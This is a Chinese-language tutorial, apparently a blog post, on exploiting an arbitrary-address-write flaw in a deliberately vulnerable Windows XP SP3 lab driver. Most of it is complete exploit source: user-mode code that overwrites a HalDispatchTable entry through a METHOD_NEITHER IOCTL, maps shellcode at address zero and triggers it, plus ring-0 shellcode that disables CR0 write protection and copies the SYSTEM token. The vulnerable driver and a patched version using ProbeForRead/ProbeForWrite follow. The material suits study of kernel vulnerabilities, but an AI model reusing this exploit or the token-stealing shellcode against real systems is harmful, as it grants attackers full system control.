内核提权,任意地址写任意数据/固定数据模型

实验环境 xp sp3

此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查

直接对传入的数据进行了修改,造成了任意地址写任意数据漏洞 ,提权了R3程序为system权限


R3代码

主要获得一个函数的地址,将函数地址传入R0 

R0将此函数地址置0,然后R3申请了一个0地址,将shellcode拷到了申请的内存中,然后调用被置0的函数,触发了shellcode

// exploit.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "ntapi.h"
#include <conio.h>  
#pragma comment(linker,"/defaultlib:ntdll.lib")  

#define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04

//触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003
 
int g_uCr0 = 0;
int g_isRing0ShellcodeCalled = 0;

//Ring0中执行的Shellcode 
NTSTATUS Ring0ShellCode(    
						ULONG InformationClass,
						ULONG BufferSize,
						PVOID Buffer,
						PULONG ReturnedLength)
{
	//打开内核写
	__asm
	{
		cli;
		mov eax, cr0;
		mov g_uCr0,eax; 
		and eax,0xFFFEFFFF; 
		mov cr0, eax; 
	}
	//USEFULL FOR XP SP3
	__asm
	{
		//KPCR 
		//由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)
		//即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, 
		//这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息. 
		//通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB.
		//http://blog.csdn.net/hu3167343/article/details/7612595
		//http://huaidan.org/archives/2081.html
		mov eax, 0xffdff124  //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。
		mov eax,[eax] //PETHREAD
		mov esi,[eax+0x220] //PEPROCESS
		mov eax, esi
searchXp:
		mov eax,[eax+0x88] //NEXT EPROCESS
		sub eax,0x88
		mov edx,[eax+0x84] //PID
		cmp edx,0x4	//SYSTEM PID
		jne searchXp
		mov eax, [eax+0xc8] //SYSTEM TOKEN
		mov [esi+0xc8],eax //CURRENT PROCESS TOKEN
	}
	//关闭内核写
	__asm
	{
		sti;
		mov eax, g_uCr0;
		mov cr0,eax;
	}

	g_isRing0ShellcodeCalled = 1;
	return 0;
}  

//申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
	NTSTATUS NtStatus;
	PVOID BaseAddress = NULL;
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),
		&BaseAddress,
		0,
		&Length,
		MEM_RESERVE |
		MEM_COMMIT,
		PAGE_READWRITE);
	if(NtStatus == STATUS_SUCCESS)
	{
		RtlZeroMemory(BaseAddress, Length);
		return BaseAddress;
	}
	return NULL;
}

//释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
	NTSTATUS NtStatus;
	ULONG FreeSize = 0;
	NtStatus = NtFreeVirtualMemory(
		NtCurrentProcess(),
		&BaseAddress,
		&FreeSize,
		MEM_RELEASE);
}

//main函数
int main(int argc, char* argv[])
{
	NTSTATUS NtStatus;
	HANDLE DeviceHandle=NULL;
	ULONG ReturnLength = 0;
	ULONG ImageBase;
	PVOID MappedBase=NULL;
	UCHAR ImageName[KERNEL_NAME_LENGTH];
	ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
	PVOID HalDispatchTable;
	PVOID xHalQuerySystemInformation;
	ULONG ShellCodeSize = PAGE_SIZE;
	PVOID ShellCodeAddress;
	PVOID BaseAddress = NULL;
	UNICODE_STRING DeviceName;
	UNICODE_STRING DllName;
	ANSI_STRING ProcedureName;
	OBJECT_ATTRIBUTES ObjectAttributes;
	IO_STATUS_BLOCK IoStatusBlock;
	SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
	LARGE_INTEGER Interval;
	ULONG InputData=0;

	//清空控制台屏幕
	system("cls");

	//printf("Please press any key to exploit");
	//getch();
	//从line 139-->line 214都是在获取内核函数xHalQuerySystemInformation的内存地址
	//获取内核模块列表数据长度到ReturnLength
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		&ReturnLength);
	if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
	{
		printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus); 
		goto ret;
	}

	//申请内存
	ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
	ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
	if(ModuleInformation==NULL)
	{
		printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength); 
		goto ret;
	}

	//获取内核模块列表数据
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		NULL);
	if(NtStatus != STATUS_SUCCESS)
	{
		printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus); 
		goto ret;
	}
				
	//保存内核第一个模块(即nt模块)基址和名称,并打印
	ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
	RtlMoveMemory(
		ImageName,
		(PVOID)(ModuleInformation->Module[0].ImageName +
		ModuleInformation->Module[0].PathLength),
		KERNEL_NAME_LENGTH);
	printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase,	ImageName);
	

	//获取内核模块名称字符串的Unicode字符串
	RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);

	//加载内核模块到本进程空间
	NtStatus = LdrLoadDll(
		NULL,                // DllPath
		&DllCharacteristics, // DllCharacteristics
		&DllName,            // DllName
		&MappedBase);        // DllHandle
	if(NtStatus)
	{
		printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}

	//获取内核模块在本进程空间中导出名称HalDispatchTable的地址
	RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
	NtStatus = LdrGetProcedureAddress(
		(PVOID)MappedBase,          // DllHandle
		&ProcedureName,             // ProcedureName
		0,                          // ProcedureNumber OPTIONAL
		(PVOID*)&HalDispatchTable); // ProcedureAddress
	if(NtStatus)
	{
		printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}

	//计算实际的HalDispatchTable内核地址
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);

	//HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
	xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));

	//打印HalDispatchTable内核地址和xHalQuerySystemInformation值
	printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
		HalDispatchTable,
		xHalQuerySystemInformation);

	//设备名称的Unicode字符串
	RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

	//打开ExploitMe设备
	ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
	ObjectAttributes.RootDirectory = 0;
	ObjectAttributes.ObjectName = &DeviceName;
	ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
	ObjectAttributes.SecurityDescriptor = NULL;
	ObjectAttributes.SecurityQualityOfService = NULL;
	NtStatus = NtCreateFile(
		&DeviceHandle,     // FileHandle
		FILE_READ_DATA |
		FILE_WRITE_DATA,   // DesiredAccess
		&ObjectAttributes, // ObjectAttributes
		&IoStatusBlock,    // IoStatusBlock
		NULL,              // AllocationSize OPTIONAL
		0,                 // FileAttributes
		FILE_SHARE_READ |
		FILE_SHARE_WRITE, // ShareAccess
		FILE_OPEN_IF,     // CreateDisposition
		0,                // CreateOptions
		NULL,             // EaBuffer OPTIONAL
		0);               // EaLength
	if(NtStatus)
	{
		printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}
	//利用漏洞将HalQuerySystemInformation函数地址改为0
	InputData = 0;
	NtStatus = NtDeviceIoControlFile(
		DeviceHandle,         // FileHandle
		NULL,                 // Event
		NULL,                 // ApcRoutine
		NULL,                 // ApcContext
		&IoStatusBlock,       // IoStatusBlock
		IOCTL_METHOD_NEITHER, // IoControlCode
		&InputData,           // InputBuffer--->任意数据(0)
		BUFFER_LENGTH,        // InputBufferLength
		xHalQuerySystemInformation, // OutputBuffer-->任意地址
		BUFFER_LENGTH);       // OutBufferLength
	if(NtStatus)
	{
		printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	} 

	//在本进程空间申请0地址内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);//4
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),      // ProcessHandle
		&ShellCodeAddress,       // BaseAddress 4
		0,                       // ZeroBits
		&ShellCodeSize,          // AllocationSize
		MEM_RESERVE | 
		MEM_COMMIT |
		MEM_TOP_DOWN,            // AllocationType
		PAGE_EXECUTE_READWRITE); // Protect可执行,可读可写
	if(NtStatus)
	{
		printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}
	printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 

	//复制Ring0ShellCode到0地址内存中
	RtlMoveMemory(
		ShellCodeAddress,
		(PVOID)Ring0ShellCode,
		ShellCodeSize);

	//触发漏洞
	NtStatus = NtQueryIntervalProfile(
		ProfileTotalIssues, // Source
		NULL);              // Interval
	if(NtStatus)
	{
		printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	printf("NtQueryIntervalProfile succeed!\n");



ret:
	if(g_isRing0ShellcodeCalled)
	{
		printf("exploit done success!\n");
	}
	else
	{
		printf("exploit failed\n");
	}

	system("pause");
	//释放申请的内存
	if (ModuleInformation)
	{
		MyFreeMemory(ModuleInformation);
	}
	//卸载本进程中的内核模块
	if (MappedBase)
	{
		LdrUnloadDll((PVOID)MappedBase);
	}
	//关闭句柄
	if(DeviceHandle)
	{
		NtStatus = NtClose(DeviceHandle);
		if(NtStatus)
		{
			printf("NtClose failed! NtStatus=%.8X\n", NtStatus);    
		}
	}
	return 0;
}

内核很简单,是用了直接IO USERBUF  对传入的数据直接修改了值

/********************************************************************
	created:	2010/12/06
	filename: 	D:\0day\ExploitMe\exploitme.c
	author:		shineast
	purpose:	Exploit me driver demo 
*********************************************************************/
#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)

//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;

/**********************************************************************
 驱动派遣例程函数
	输入:驱动对象的指针,Irp指针
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{ 
	PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
	PVOID Type3InputBuffer;//用户态输入地址
	PVOID UserBuffer;//用户态输出地址 
	ULONG inputBufferLength;//输入缓冲区的大小
	ULONG outputBufferLength;//输出缓冲区的大小 
	ULONG ioControlCode;//DeviceIoControl的控制号
	PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
	NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 

	//获取数据
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; 
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; 
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus=&pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS;// Assume success
	IoStatus->Information = 0;// Assume nothing returned

	//根据 ioControlCode 完成对应的任务
	switch(ioControlCode)
	{
	case IOCTL_EXPLOIT_ME: 
		if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
		{
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;//本地提权 //任意地址写任意数据
			//少调用的
			//*(ULONG*)(Type3InputBuffer) = 0; //任意地址写固定数据
			//*(ULONG/)(UserBuffer) = 0;
			IoStatus->Information = sizeof(ULONG);
		}
		break;
	}  

	//返回
	IoStatus->Status = ntStatus; 
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
/**********************************************************************
 驱动卸载函数
	输入:驱动对象的指针
	输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT  driverObject )
{ 
	UNICODE_STRING symLinkName; 
	KdPrint(("DriverUnload: 88!\n")); 
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject ); 
} 
/*********************************************************************
 驱动入口函数(相当于main函数)
	输入:驱动对象的指针,服务程序对应的注册表路径
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{ 
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i=0; 
	//打印一句调试信息
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	//创建设备 
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
		return ntStatus;  
	}
	//创建符号链接  
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	//设置该驱动对象的卸载函数
	driverObject->DriverUnload = DriverUnload; 
	//设置该驱动对象的派遣例程函数
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	//返回成功结果
	return STATUS_SUCCESS;
}









修复也很简单,使用异常处理块 + ProbeForRead/Write检测传入的userbuff

/********************************************************************
	created:	2010/12/06
	filename: 	D:\0day\ExploitMe\exploitme.c
	author:		shineast
	purpose:	Exploit me driver demo 
*********************************************************************/
#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)

//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;

/**********************************************************************
 驱动派遣例程函数
	输入:驱动对象的指针,Irp指针
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{ 
	PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
	PVOID Type3InputBuffer;//用户态输入地址
	PVOID UserBuffer;//用户态输出地址 
	ULONG inputBufferLength;//输入缓冲区的大小
	ULONG outputBufferLength;//输出缓冲区的大小 
	ULONG ioControlCode;//DeviceIoControl的控制号
	PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
	NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 

	//获取数据
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; 
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; 
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus=&pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS;// Assume success
	IoStatus->Information = 0;// Assume nothing returned

	//根据 ioControlCode 完成对应的任务
	switch(ioControlCode)
	{
	case IOCTL_EXPLOIT_ME: 
		__try
		{

			if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
			{
				//Type3InputBuffer 任意数据
				//UserBuffer 任意地址
				//当UserBuffer不是用户态地址 ProbeForRead/Write抛出STATUS_ACCESS_VIOLATION异常
				ProbeForRead(UserBuffer,sizeof(ULONG),sizeof(ULONG));
				ProbeForWrite(UserBuffer,sizeof(ULONG),sizeof(ULONG));
				*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
				IoStatus->Information = sizeof(ULONG);
			}
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			ntStatus = GetExceptionCode();  
			IoStatus->Information = sizeof(ULONG);
		}
		
		break;
	}  

	//返回
	IoStatus->Status = ntStatus; 
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
/**********************************************************************
 驱动卸载函数
	输入:驱动对象的指针
	输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT  driverObject )
{ 
	UNICODE_STRING symLinkName; 
	KdPrint(("DriverUnload: 88!\n")); 
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject ); 
} 
/*********************************************************************
 驱动入口函数(相当于main函数)
	输入:驱动对象的指针,服务程序对应的注册表路径
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{ 
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i=0; 
	//打印一句调试信息
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	//创建设备 
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
		return ntStatus;  
	}
	//创建符号链接  
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	//设置该驱动对象的卸载函数
	driverObject->DriverUnload = DriverUnload; 
	//设置该驱动对象的派遣例程函数
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	//返回成功结果
	return STATUS_SUCCESS;
}








你可能感兴趣的:(漏洞,内核漏洞模型)